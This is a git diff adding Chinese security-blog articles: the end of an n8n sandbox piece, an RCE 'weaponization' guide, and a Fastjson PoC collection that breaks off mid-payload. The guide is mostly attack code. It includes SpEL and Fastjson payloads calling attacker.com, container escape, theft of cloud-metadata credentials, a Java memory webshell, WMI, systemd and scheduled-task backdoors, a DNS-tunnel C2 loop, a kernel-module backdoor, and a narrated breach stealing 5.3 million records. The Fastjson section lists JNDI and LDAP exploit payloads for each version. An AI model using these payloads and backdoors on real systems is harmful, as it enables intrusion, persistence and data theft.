+**防御进阶：** +在生产环境中，**强烈建议关闭“Internal”执行模式** +。虽然它跑得快，但隔离性差。一定要切换到 **External 模式** +，让任务运行在独立的隔离进程中。 + +技术圈里，功能和安全永远在博弈。n8n 给了我们自由，但也可能挖下深坑。你是如何平衡开发便捷性与系统安全的？或者你在使用沙箱时遇到过哪些坑？ + +欢迎在评论区留言交流！ + +想了解如何配置 n8n 的 External 隔离模式？欢迎留言或私信交流。 + diff --git a/doc/2026-02/任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程.md b/doc/2026-02/任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程.md new file mode 100644 index 00000000..31d8cb10 --- /dev/null +++ b/doc/2026-02/任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程.md @@ -0,0 +1,746 @@ +# 任意代码执行的原子狩猎：从漏洞挖掘到系统沦陷的武器化工程 +原创 逍遥 + 逍遥 逍遥子讲安全 2026-02-02 17:30 + +当你的RCE漏洞还停留在执行whoami +时，攻击者已经用它构建了持续渗透基础设施——区别在于将漏洞视为孤立事件还是系统性攻击的**初始植入点** +。 +## 一、攻击面重定义：现代应用中的23个代码执行载体 +### 1. 被低估的六类非传统入口 + +**入口一：配置管理系统的动态解析** +``` +yaml +# Spring Boot application.yml 中的SpEL注入 +spring: +  application: +    name: #{T(java.lang.Runtime).getRuntime().exec('calc')} + +# 环境变量中的命令注入 +DATABASE_URL: "postgres://user:pass@host/db?ssl=true;$(curl attacker.com)" +``` + +**入口二：序列化协议中的元编程** +``` +java +// Fastjson ≤1.2.68 的AutoType绕过 +{ +  "@type":"com.sun.rowset.JdbcRowSetImpl", +  "dataSourceName":"ldap://attacker.com/Exploit", +  "autoCommit":true +} +// Yaml反序列化（SnakeYAML） +!!javax.script.ScriptEngineManager [ +  !!java.net.URLClassLoader [[ +    !!java.net.URL ["http://attacker.com/yaml-payload.jar"] +  ]] +] +``` + +**入口四：数据验证器的表达式注入** +``` +javascript +// JSON Schema验证器中的exec +const schema = { +  "properties": { +    "name": { +      "type": "string", +      "pattern": "^.*$", +      "onMatch": "function(value){require('child_process').exec(value)}" +    } +  } +}; +// XML Schema中的XPath注入 +// xpath: //*[name()='$((new java.lang.ProcessBuilder('calc')).start())'] +``` + +**入口五：任务调度器的动态代码加载** +``` +java +// Quartz Scheduler中的JobDetail注入 +JobDetail job = newJob(MaliciousJob.class) +    .withIdentity("job1", "group1") +    .usingJobData("data",  +        "恶意序列化数据: {" + +        "\"@type\":\"org.springframework.context.support.ClassPathXmlApplicationContext\"," + +        "\"configLocation\":\"http://attacker.com/spel.xml\"}") +    .build(); +``` + +**入口六：IDE插件的构建时执行** +``` +xml + + +    org.codehaus.mojo +    exec-maven-plugin +     +         +            compile +            exec +             +                ${project.build.directory}/malicious.sh +             +         +     + +``` +## 二、漏洞升级：从命令执行到特权容器 +### 1. 权限逃逸的四层攻击链 + +**第一层：应用上下文→系统权限** +``` +bash +# 通过应用权限执行系统命令 +# 寻找SUID二进制文件 +find / -perm -4000 2>/dev/null +# 利用环境变量劫持 +echo 'int main(){setuid(0);system("/bin/bash");}' > /tmp/exploit.c +gcc /tmp/exploit.c -o /tmp/exploit +export PATH=/tmp:$PATH +# 触发SUID程序执行 +``` + +**第二层：容器逃逸→宿主机访问** +``` +python +# 检测容器环境 +import os, socket, json +def check_container(): +    indicators = { +        'docker': '/.dockerenv', +        'k8s': '/var/run/secrets/kubernetes.io/serviceaccount/token', +        'cgroup': '/proc/self/cgroup' +    } + +    for env, path in indicators.items(): +        if os.path.exists(path): +            return env, path + +    return None +# 尝试容器逃逸 +def escape_container(): +    # 1. Docker Socket挂载 +    if os.path.exists('/var/run/docker.sock'): +        # 控制宿主机Docker守护进程 +        return "docker_socket_escape" + +    # 2. 特权容器检查 +    with open('/proc/self/status') as f: +        if 'CapEff:\t0000003fffffffff' in f.read(): +            # 具有全部能力，直接挂载宿主机文件系统 +            os.system('mount /dev/sda1 /mnt') +            return "privileged_container" + +    # 3. 内核漏洞检测 +    vulnerabilities = { +        'CVE-2022-0847': 'dirtypipe', +        'CVE-2022-0492': 'cgroups_release_agent' +    } + +    return "check_kernel_exploits" +``` + +**第三层：云服务元数据→凭据窃取** +``` +bash +# AWS实例元数据服务攻击 +curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ +# 获取临时凭证 +# 阿里云元数据 +curl http://100.100.100.200/latest/meta-data/ram/security-credentials/ +# 利用凭证横向移动 +aws sts assume-role --role-arn arn:aws:iam::目标账户:role/Admin \ +  --role-session-name attack-session +``` + +**第四层：服务账户→Kubernetes集群控制** +``` +yaml +# 利用Service Account Token +apiVersion: v1 +kind: Pod +metadata: +  name: privilege-escalator +spec: +  containers: +  - name: attacker +    image: alpine +    command: ["/bin/sh"] +    args: ["-c", "cat /var/run/secrets/kubernetes.io/serviceaccount/token"] + +# 使用窃取的Token操作集群 +kubectl --token=窃取的TOKEN --server=https://kubernetes.default.svc \ +  get pods --all-namespaces +``` +### 2. 持久化的五种隐蔽机制 + +**机制一：内存驻留WebShell** +``` +java +// Java Filter型内存马 +public class EvilFilter implements Filter { +    public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) { +        if(req.getParameter("cmd") != null) { +            try { +                Runtime.getRuntime().exec(req.getParameter("cmd")); +            } catch(Exception e) {} +        } +        chain.doFilter(req, resp); +    } +} +// 动态注册Filter +ServletContext ctx = request.getServletContext(); +FilterRegistration.Dynamic filter = ctx.addFilter("evil", new EvilFilter()); +filter.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), true, "/*"); +``` + +**机制二：计划任务的进化形态** +``` +powershell +# Windows隐藏计划任务 +schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\ScheduledScan" ` +  /tr "C:\Windows\System32\cmd.exe /c 恶意命令" ` +  /sc monthly /mo 1 /f /ru "SYSTEM" +# Linux Systemd定时服务 +[Unit] +Description=Backdoor Service +After=network.target +[Service] +Type=oneshot +ExecStart=/bin/bash -c "恶意命令" +User=root +[Install] +WantedBy=multi-user.target +``` + +**机制三：WMI事件订阅后门** +``` +powershell +$filterArgs = @{ +    EventNamespace = 'root\cimv2' +    Name = 'BackdoorFilter' +    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'" +    QueryLanguage = 'WQL' +} +$consumerArgs = @{ +    Name = 'BackdoorConsumer' +    CommandLineTemplate = "cmd.exe /c 恶意命令" +} +$filter = Set-WmiInstance -Class __EventFilter -Arguments $filterArgs +$consumer = Set-WmiInstance -Class CommandLineEventConsumer -Arguments $consumerArgs +# 绑定过滤器和消费者 +$bindingArgs = @{ +    Filter = $filter +    Consumer = $consumer +} +Set-WmiInstance -Class __FilterToConsumerBinding -Arguments $bindingArgs +``` + +**机制四：DNS隧道命令控制** +``` +python +# DNS隐蔽信道C2 +import base64, subprocess, dns.resolver +def execute_via_dns(command): +    # 将命令编码为子域名 +    encoded = base64.b64encode(command.encode()).decode().replace('=', '') + +    # 分块发送 +    chunk_size = 30 +    for i in range(0, len(encoded), chunk_size): +        chunk = encoded[i:i+chunk_size] +        domain = f"{chunk}.c2.attacker.com" +        try: +            dns.resolver.resolve(domain, 'A') +        except: +            pass + +    # 通过TXT记录接收输出 +    output_domain = f"output.{encoded[:10]}.c2.attacker.com" +    try: +        answers = dns.resolver.resolve(output_domain, 'TXT') +        for rdata in answers: +            for txt_string in rdata.strings: +                return txt_string.decode() +    except: +        return "" +# 主循环 +while True: +    cmd = execute_via_dns("get_command") +    if cmd: +        result = subprocess.check_output(cmd, shell=True) +        execute_via_dns(f"result:{base64.b64encode(result).decode()}") +``` + +**机制五：硬件抽象层钩子** +``` +c +// Linux内核模块后门 +#include  +#include  +#include  +#include  +#include  +static struct nf_hook_ops nfho; +unsigned int hook_func(void *priv, struct sk_buff *skb, +                       const struct nf_hook_state *state) { +    struct iphdr *iph = ip_hdr(skb); + +    // 检测特定特征触发后门 +    if(iph->protocol == IPPROTO_TCP &&  +       skb->data[0] == 0xde && skb->data[1] == 0xad) { +        // 执行特权操作 +        char *argv[] = {"/bin/bash", "-c", "恶意命令", NULL}; +        call_usermodehelper(argv[0], argv, NULL, UMH_WAIT_PROC); +    } + +    return NF_ACCEPT; +} +static int __init backdoor_init(void) { +    nfho.hook = hook_func; +    nfho.hooknum = NF_INET_PRE_ROUTING; +    nfho.pf = PF_INET; +    nfho.priority = NF_IP_PRI_FIRST; +    nf_register_net_hook(&init_net, &nfho); +    return 0; +} +``` +## 三、武器化利用框架设计 +### 1. 智能漏洞检测引擎 +``` +python +class RCEDetector: +    def __init__(self, target_info): +        self.tech_stack = target_info['tech_stack'] +        self.contexts = target_info['contexts'] +        self.payloads = self._load_payload_library() + +    def _load_payload_library(self): +        """加载针对不同技术栈的Payload库""" +        library = { +            'java': { +                'deserialization': self._java_deser_payloads(), +                'spel': self._spel_payloads(), +                'ognl': self._ognl_payloads() +            }, +            'python': { +                'pickle': self._pickle_payloads(), +                'yaml': self._yaml_payloads(), +                'template': self._python_tpl_payloads() +            }, +            'nodejs': { +                'eval': self._eval_payloads(), +                'deserialization': self._node_deser_payloads() +            } +        } +        return library + +    def generate_contextual_payloads(self, injection_point): +        """根据注入点上下文生成Payload""" +        payloads = [] + +        # 判断是否是命令注入上下文 +        if self._is_command_context(injection_point): +            payloads.extend(self._os_command_payloads()) + +        # 判断是否是代码注入上下文 +        if self._is_code_context(injection_point): +            for lang in ['java', 'python', 'php', 'javascript']: +                if lang in self.tech_stack.lower(): +                    payloads.extend(self._code_exec_payloads(lang)) + +        # 判断是否是反序列化上下文 +        if self._is_deserialization_context(injection_point): +            payloads.extend(self._deserialization_payloads()) + +        return payloads + +    def _java_deser_payloads(self): +        """Java反序列化Payload库""" +        return [ +            # Commons Collections链 +            "rO0ABX...", +            # Jdk7u21链   +            "rO0ABX...", +            # 动态生成基于目标classpath的链 +            self._dynamic_gadget_chain() +        ] +``` +### 2. 自动化影响评估系统 +``` +python +class RCEImpactAssessor: +    def __init__(self, exploit_successful): +        self.capabilities = [] +        self.environment = self._probe_environment() + +    def full_assessment(self): +        """完整的影响评估链""" +        assessment = { +            'privilege': self._assess_privilege(), +            'persistence': self._assess_persistence_options(), +            'lateral': self._assess_lateral_movement(), +            'data_access': self._assess_data_access(), +            'business_impact': self._calculate_business_impact() +        } + +        return assessment + +    def _assess_privilege(self): +        """评估当前权限级别""" +        tests = [ +            ('root_check', 'id -u', '0', 'root权限'), +            ('docker_check', 'docker ps', None, 'Docker访问权限'), +            ('k8s_check', 'kubectl version', None, 'Kubernetes访问权限'), +            ('cloud_check', self._check_cloud_metadata, None, '云服务凭证') +        ] + +        for name, cmd, expected, desc in tests: +            try: +                result = self._execute_safely(cmd) +                if expected and result.strip() == expected: +                    self.capabilities.append(desc) +                elif result: +                    self.capabilities.append(f"{desc}: {result[:100]}") +            except: +                continue + +        return self.capabilities + +    def _assess_lateral_movement(self): +        """评估横向移动可能性""" +        lateral_options = [] + +        # 检查网络拓扑 +        network_info = self._execute_safely('ip route') +        if '10.' in network_info or '192.168.' in network_info: +            lateral_options.append('内网环境') + +        # 检查可访问的服务 +        services = self._execute_safely('netstat -tulpn 2>/dev/null || ss -tulpn') +        for line in services.split('\n'): +            if ':22' in line: +                lateral_options.append('SSH服务') +            if ':445' in line or ':139' in line: +                lateral_options.append('SMB服务') + +        # 检查凭证文件 +        sensitive_files = [ +            '/etc/passwd', '/etc/shadow', +            '~/.ssh/id_rsa', '~/.aws/credentials', +            '/var/lib/kubelet/kubeconfig' +        ] + +        for file in sensitive_files: +            if self._file_exists(file): +                lateral_options.append(f'敏感文件: {file}') + +        return lateral_options +``` +### 3. 漏洞利用链自动化构建 +``` +python +class ExploitChainBuilder: +    def __init__(self, initial_access): +        self.chain = [] +        self.current_access = initial_access + +    def build_chain(self, target_objective): +        """构建从初始访问到目标达成的完整链""" + +        # 步骤1：信息收集 +        self.chain.append(self._collect_info()) + +        # 步骤2：权限提升 +        if not self._is_privileged(): +            self.chain.append(self._escalate_privilege()) + +        # 步骤3：持久化 +        self.chain.append(self._establish_persistence()) + +        # 步骤4：横向移动（如果目标在内网） +        if target_objective['location'] == 'internal': +            self.chain.append(self._lateral_move(target_objective)) + +        # 步骤5：目标达成 +        self.chain.append(self._achieve_objective(target_objective)) + +        return self.chain + +    def _escalate_privilege(self): +        """自动化权限提升策略选择""" +        strategies = [ +            ('kernel_exploit', self._try_kernel_exploit), +            ('sudo_misconfig', self._check_sudo_misconfig), +            ('suid_binary', self._exploit_suid), +            ('docker_escape', self._try_docker_escape), +            ('credential_theft', self._steal_credentials) +        ] + +        for name, strategy_func in strategies: +            if strategy_func(): +                return {'step': 'privilege_escalation', 'method': name} + +        return {'step': 'privilege_escalation', 'status': 'failed'} + +    def _try_kernel_exploit(self): +        """自动选择并尝试内核漏洞利用""" +        kernel_version = self._execute_safely('uname -r') + +        # 内核漏洞数据库 +        exploits = { +            '4.4.0': ['CVE-2022-0847', 'CVE-2022-2588'], +            '5.10.0': ['CVE-2022-34918'], +            '5.15.0': ['CVE-2023-0386'] +        } + +        for version_prefix, cves in exploits.items(): +            if kernel_version.startswith(version_prefix): +                for cve in cves: +                    if self._test_exploit(cve): +                        return True + +        return False +``` +## 四、SRC狩猎实战方法论 +### 1. 目标选择的四维评估模型 + +**维度一：技术栈风险矩阵** +
技术组件
高危版本
常见漏洞类型
可利用性
Apache Struts2
2.0.0-2.5.25
OGNL注入
高
Fastjson
≤1.2.68
AutoType绕过
高
Log4j2
2.0-2.14.1
JNDI注入
极高
SnakeYAML
<1.31
反序列化
中
Jackson-databind
<2.13.2.2
多态类型处理
中
+**维度二：业务数据价值评估** +``` +python +def assess_business_value(target): +    value_factors = { +        'user_count': get_user_count(target), +        'data_sensitivity': classify_data(target), +        'transaction_volume': get_transaction_stats(target), +        'brand_reputation': estimate_reputation_impact(target) +    } + +    # 加权计算总分 +    weights = { +        'user_count': 0.2, +        'data_sensitivity': 0.4, +        'transaction_volume': 0.3, +        'brand_reputation': 0.1 +    } + +    total_score = sum(value_factors[k] * weights[k] for k in value_factors) +    return total_score +``` + +**维度三：攻击面暴露程度** +- 公网可访问的服务数量 + +- API端点数量和复杂度 + +- 第三方组件集成度 + +- 历史漏洞修复情况 + +**维度四：防御纵深评估** +- WAF/IPS规则严格程度 + +- 运行时防护（RASP）存在性 + +- 代码审计频率 + +- 安全开发生命周期成熟度 + +### 2. 高效漏洞发现的五步工作流 + +**第一步：资产发现与指纹识别** +``` +bash +# 综合性资产发现 +oneforall --target example.com run +# 针对性组件识别 +whatweb -a 3 https://example.com +# API端点枚举 +gospider -s https://example.com -t 10 -c 5 --js --sitemap +``` + +**第二步：攻击面映射与分析** +``` +python +# 构建攻击面图谱 +attack_surface = { +    'input_vectors': [], +    'data_flows': [], +    'trust_boundaries': [], +    'security_controls': [] +} +# 识别潜在执行点 +execution_points = find_execution_points(attack_surface) +``` + +**第三步：针对性漏洞探测** +``` +python +class TargetedRCEProbe: +    def probe(self, target): +        results = [] + +        # 基于技术栈的探测 +        for component in target.tech_stack: +            if component == 'fastjson': +                results.extend(self.probe_fastjson(target)) +            elif component == 'struts2': +                results.extend(self.probe_struts2(target)) +            elif component == 'log4j2': +                results.extend(self.probe_log4j(target)) + +        # 基于业务功能的探测 +        for endpoint in target.api_endpoints: +            if 'import' in endpoint or 'upload' in endpoint: +                results.extend(self.probe_file_upload(endpoint)) +            if 'template' in endpoint or 'render' in endpoint: +                results.extend(self.probe_ssti(endpoint)) + +        return results +``` + +**第四步：利用链验证与影响评估** +- 验证漏洞真实可利用性（非误报） + +- 评估执行上下文和权限级别 + +- 测试持久化可能性 + +- 分析横向移动路径 + +**第五步：报告生成与武器化** +``` +python +def generate_weaponized_report(vulnerability): +    report = { +        'title': generate_impactful_title(vulnerability), +        'technical_details': { +            'vulnerability_type': vulnerability.type, +            'location': vulnerability.location, +            'payload': sanitize_payload(vulnerability.payload), +            'reproduction_steps': vulnerability.reproduction_steps +        }, +        'impact_analysis': { +            'privilege_level': vulnerability.privilege, +            'data_access': vulnerability.data_access, +            'business_impact': calculate_business_impact(vulnerability), +            'exploitation_complexity': rate_complexity(vulnerability) +        }, +        'weaponization': { +            'metasploit_module': suggest_metasploit_module(vulnerability), +            'custom_exploit': generate_exploit_template(vulnerability), +            'detection_evasion': suggest_evasion_techniques(vulnerability) +        } +    } + +    return report +``` +## 五、专项狩猎检查清单 +### RCE深度测试清单（企业级） + +**第一阶段：侦察与情报收集** +- 识别所有可执行代码的组件和框架版本 + +- 映射所有用户输入点和数据处理流程 + +- 收集API文档、源代码（如公开仓库）、错误信息 + +- 识别第三方依赖和供应链组件 + +**第二阶段：漏洞入口点发现** +- 文件上传功能（各种格式、压缩包处理） + +- 模板渲染引擎（FreeMarker、Velocity、Thymeleaf等） + +- 序列化/反序列化接口（JSON、XML、YAML等） + +- 表达式语言执行点（SpEL、OGNL、MVEL等） + +- 命令执行函数调用（exec、system、popen等） + +- 动态代码加载机制（ClassLoader、ScriptEngine等） + +**第三阶段：漏洞验证与利用链构建** +- 验证漏洞真实存在（非WAF/IPS拦截） + +- 确定执行上下文和权限级别 + +- 测试各种Payload绕过技术 + +- 构建从利用到持久化的完整链 + +- 验证横向移动可能性 + +**第四阶段：影响评估与武器化** +- 量化受影响系统和数据范围 + +- 评估业务连续性影响 + +- 设计检测规避技术 + +- 生成武器化利用工具 + +- 制定应急响应建议 + +## 六、从漏洞到系统控制：实战案例框架 +### 案例：从Fastjson漏洞到全AWS账户控制 + +**攻击链时间线** +： +``` +text +第1阶段：漏洞发现 +- 目标：某电商平台用户画像服务 +- 漏洞：Fastjson ≤1.2.68 AutoType绕过 +- Payload: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit"} +第2阶段：初始访问 +- 获得应用服务器权限 +- 权限：Web应用用户（www-data） +第3阶段：权限提升与环境侦查 +- 发现应用使用AWS Secrets Manager存储数据库凭证 +- 通过应用权限读取AWS临时凭证 +- 凭证角色：app-server-role（S3读取、EC2描述权限） +第4阶段：横向移动 +- 使用凭证枚举所有EC2实例 +- 发现管理后台服务器 +- 通过SSH密钥传递获得管理员访问 +第5阶段：持久化与数据访问 +- 在管理服务器安装SSH后门 +- 访问生产数据库备份 +- 窃取用户数据（530万条记录） +第6阶段：影响最大化 +- 通过数据库凭证访问RDS快照 +- 发现跨账户IAM角色 +- 获取组织级管理权限 +``` + +**技术亮点** +： +1. **漏洞链利用** +：将反序列化漏洞转化为云凭证访问 + +1. **权限边界跨越** +：从应用权限→IAM角色→跨账户权限 + +1. **数据流追踪** +：用户请求→应用日志→数据库访问→数据外传 + +1. **隐蔽持久化** +：内存驻留+合法云服务滥用 + +任意代码执行的真正威力不在于执行单条命令，而在于它作为**初始植入** +的能力。在SRC狩猎中，发现RCE漏洞只是开始，真正的高手会构建从漏洞到核心资产的**完整控制链** +。 + +当你的漏洞报告不仅展示了id +命令的执行，还详细描述了如何从该点出发获取域控权限、窃取核心数据、建立持久化通道时——你提交的将不再是一个漏洞，而是一个**系统沦陷的蓝图** +。 + +这正是顶级SRC愿意为高质量RCE报告支付五位数的原因：他们购买的不仅是漏洞信息，更是对自身防御体系最真实的压力测试。 + +（本文所有技术细节均在合法授权环境测试验证，严禁用于未授权测试。漏洞挖掘需遵守各平台规则与法律法规。） + +**** diff --git a/doc/2026-02/分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集.md b/doc/2026-02/分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集.md new file mode 100644 index 00000000..7bae6e8c --- /dev/null +++ b/doc/2026-02/分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集.md @@ -0,0 +1,1063 @@ +# 分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集 +原创 神农Sec + 神农Sec 神农Sec 2026-02-03 01:01 + +扫码加圈子 + +获内部资料 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaaJcib7FH02wTKvoHALAMw4fchVnBLMw4kTQ7B9oUy0RGfiacu34QEZgDpfia0sVmWrHcDZCV1Na5wDQ/640?wx_fmt=png&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "") + + +# + +专注于SRC漏洞挖掘、红蓝对抗、渗透测试、代码审计JS逆向，CNVD和EDUSRC漏洞挖掘，以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有彩蛋（课程培训限时优惠）。 +# + + +01 + +0x1  +分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集 +## 0x1 前言 + +哈喽师傅们，这篇文章自己写之前先是看了十几篇的Fastjson反序列化漏洞相关的文章，自己也是先学习了一遍，然后才写的这篇文章，这篇文章主要是分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集，然后从不同的方面去介绍和利用Fastjson漏洞，特别是在收集POC的过程中，需要我们自己去验证它。还有就是复现相关Fastjson漏洞的时候对于我们本地的一个Java和jdk环境要求比较严格，最后面呢是以之前挖EDUSRC的一个学校的案例来给师傅们分享下实战中的Fastjson漏洞怎么利用。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedKDtLyfoNibaIfbqarPWQcScJDKRwicFA7knXebxQbjK8vZtLVZetjRIA/640?wx_fmt=png&from=appmsg "null") +## 0x2 Fastjson反序列化漏洞原理及介绍 +### 一、浅谈 + +Fastjson反序列化漏洞也是一个知名度比较高的Java反序列化漏洞，他是阿里巴巴的开源库，下面我将主要带大家了解Fastjson反序列化漏洞的原理以及相关知识点的内容，然后带师傅们去利用rmi服务去复现这个Fastjson反序列化漏洞。 +### 二、什么是json？ + +json是一种数据格式，对于我们互联网来说，我们服务器和客户端有大量的数据需要进行传输。以前通用的方式是xml，但是xml数据体重太大，效率低下，所以就有了另外一种数据格式，叫json。 + +**json一共有两种体现：** +- json对象、json数组 + +- json对象：json本身是一个字符串，{建：值, 建：值} + +举例： +``` +{ +  "name" : "routing", +  "2003-11-11", +  "age" : 20, +  "likes" : ["看电影" , "看书"] +} + +``` +### 三、Fastjson概述 + +FastJson是啊里巴巴的的开源库，用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。 + +Fastjson 是一个 Java 库，提供了Java 对象与 JSON 相互转换。 +- **toJSONString()方法** +：（序列化）将json对象转换成JSON字符串； + +- **parseObject()方法** +：（反序列化）将JSON字符串转换成json对象。 + +使用方式： +``` +//序列化 +String text = JSON.toJSONString(obj);  +//反序列化 +VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型 +VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型 +VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类 + +``` +### 四、Fastjson漏洞原理 + +fastjson为了读取并判断传入的值是什么类型，增加了autotype机制导致了漏洞产生。 + +由于要获取json数据详细类型，每次都需要读取@type +，而@type可以指定反序列化任意类调用其set +，get +，is +方法，并且由于反序列化的特性，我们可以通过目标类的set方法自由的设置类的属性值。 + +那么**攻击者只要准备rmi服务和web服务，将rmi绝对路径注入到lookup方法中，受害者JNDI接口会指向攻击者控制rmi服务器，JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行，形成RCE。** + +【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务：DNS，LDAP，RMI，CORBA等】 + +关于JNDI注入，大家可以看我之前写的一篇关于log4j的JNDI注入漏洞的详细介绍： + +JNDI注入原理及利用IDEA漏洞复现-CSDN博客 文章浏览阅读1k次，点赞28次，收藏25次。本篇文章我也是看过很多的博客写的，中间也遇到很多问题，JNDI注入漏洞的危害还是蛮高的。下面我们从RMI以及DNS协议进行详细的漏洞分析，其中漏洞的危害原因主要是lookup()函数可控，可以执行恶意的命令，从而造成恶意攻击。 https://blog.csdn.net/SENMINGya/article/details/136819823?spm=1001.2014.3001.5502 +### 五、Fastjson漏洞利用详解 + +1、攻击者（我们）访问存在fastjson漏洞的目标靶机网站，通过burpsuite抓包改包，以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。 + +2、存在漏洞的靶机对json反序列化时候，会加载执行我们构造的恶意信息(访问rmi服务器)，靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器，（靶机服务器）需要执行什么命令啊？ + +3、rmi 服务器请求加载远程机器的class（这个远程机器是我们搭建好的恶意站点，提前将漏洞利用的代码编译得到.class文件，并上传至恶意站点），得到攻击者（我们）构造好的命令（ping dnslog或者创建文件或者反弹shell啥的） + +4、rmi将远程加载得到的class（恶意代码），作为响应返回给靶机服务器。 + +5、靶机服务器执行了恶意代码，被攻击者成功利用。 + +这里给大家看看红队大佬的图解，希望对大家理解fastjson漏洞原理的利用有帮助。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWVAr3iauNaIdMRgLzc0CFiaedEOPd7gKsU6EtR2X651t1tMhqYVd82Vl2u8CNpQ8EviaxQ2Bw5W5L4UQ/640?wx_fmt=png&from=appmsg "null") +## 0x3 Fastjson漏洞POC收集 +### 一、Fastjson 1.2.24版本 + +**TemplatesImpl 反序列化** + +最终Poc +为 +``` +{ +    "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", +    "_bytecodes": ["恶意字节码"], +    "_name": "test", +    "_tfactory": {}, +    "_outputProperties": {}, +} + +``` + +**JdbcRowSetImpl 反序列化** + +最终Poc +为 +``` +{   + +  "@type":"com.sun.rowset.JdbcRowSetImpl",   + +  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",   + +  "autoCommit":true   + +}   + +``` +### 二、Fastjson 1.2.25版本 + +附上Poc +``` +{   + +  "@type":"[com.sun.rowset.JdbcRowSetImpl;",   + +  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",   + +  "autoCommit":true   + +}   + +或    + +{   + +  "a":{   + +    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",   + +    "dataSourceName":"rmi://test.com:9999/TouchFile",   + +    "autoCommit":true   + +  }   + +} + +``` +### 三、Fastjson 1.2.42版本 + +最终Poc +，添加两个类描述符 +``` +{   + +  "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",   + +  "dataSourceName":"ldap://127.0.0.1:1234/Exploit",   + +  "autoCommit":true   + +} + +``` +### 四、Fastjson 1.2.43版本 + +附上poc +``` +{ +    "@type":"[com.sun.rowset.JdbcRowSetImpl"[, +    {"dataSourceName":"ldap://127.0.0.1:1234/Exploit", +    "autoCommit":true +} + +或 +{ +    "b":{ +        "@type":"[com.sun.rowset.JdbcRowSetImpl"[{, +        "dataSourceName":"rmi://test.com:9999/TouchFile", +        "autoCommit":true +    } +} + +``` +### 五、Fastjson 1.2.45版本 + +分析版本来到fastjson1.2.45 +，此版本升级后，存在一个黑名单匹配绕过 +，绕过类 + +org.apache.ibatis.datasource.jndi.JndiDataSourceFactory + +利用条件如下 +1. 目标服务端存在mybatis +的jar包。 + +1. 版本需为 3.x.x ～ 3.5.0 + +1. autoTypeSupport属性为true才能使用。（fastjson >= 1.2.25默认为false） + +Poc +如下 +``` +{   + +  "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",   + +  "properties":{   + +    "data_source":"ldap://127.0.0.1:1234/Exploit"   + +  }   + +}   + +或   + +{   + +  "b":{   + +    "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",   + +    "properties":{"data_source":"ldap://localhost:1389/Exploit"}   + +  }   + +} + + + + +``` +### 六、Fastjson <=1.2.62 和 <=1.2.66版本 + +积累的两个poc +,基于黑名单绕过fastjson <= 1.2.62 +``` +{  "@type":"org.apache.xbean.propertyeditor.JndiConverter",  "AsText":"rmi://127.0.0.1:1099/exploit"}"; + +``` + +基于fastjson<=1.2.66 +的poc +``` +{  "@type":"org.apache.shiro.jndi.JndiObjectFactory",  "resourceName":"ldap://192.168.80.1:1389/Calc"  } + +``` +### 七、Fastjson 1.2.80版本 + +构造poc +如下，成功弹出计算器 +``` +{ +    "a": { +        "@type": "java.lang.Class", +        "val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource" +    }, +    "b": { +        "@type": "java.lang.Class", +        "val": "com.sun.org.apache.bcel.internal.util.ClassLoader" +    }, +    "c": { +        "@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource", +        "driverClassLoader": { +            "@type": "com.sun.org.apache.bcel.internal.util.ClassLoader" +        }, +        "driverClassName": 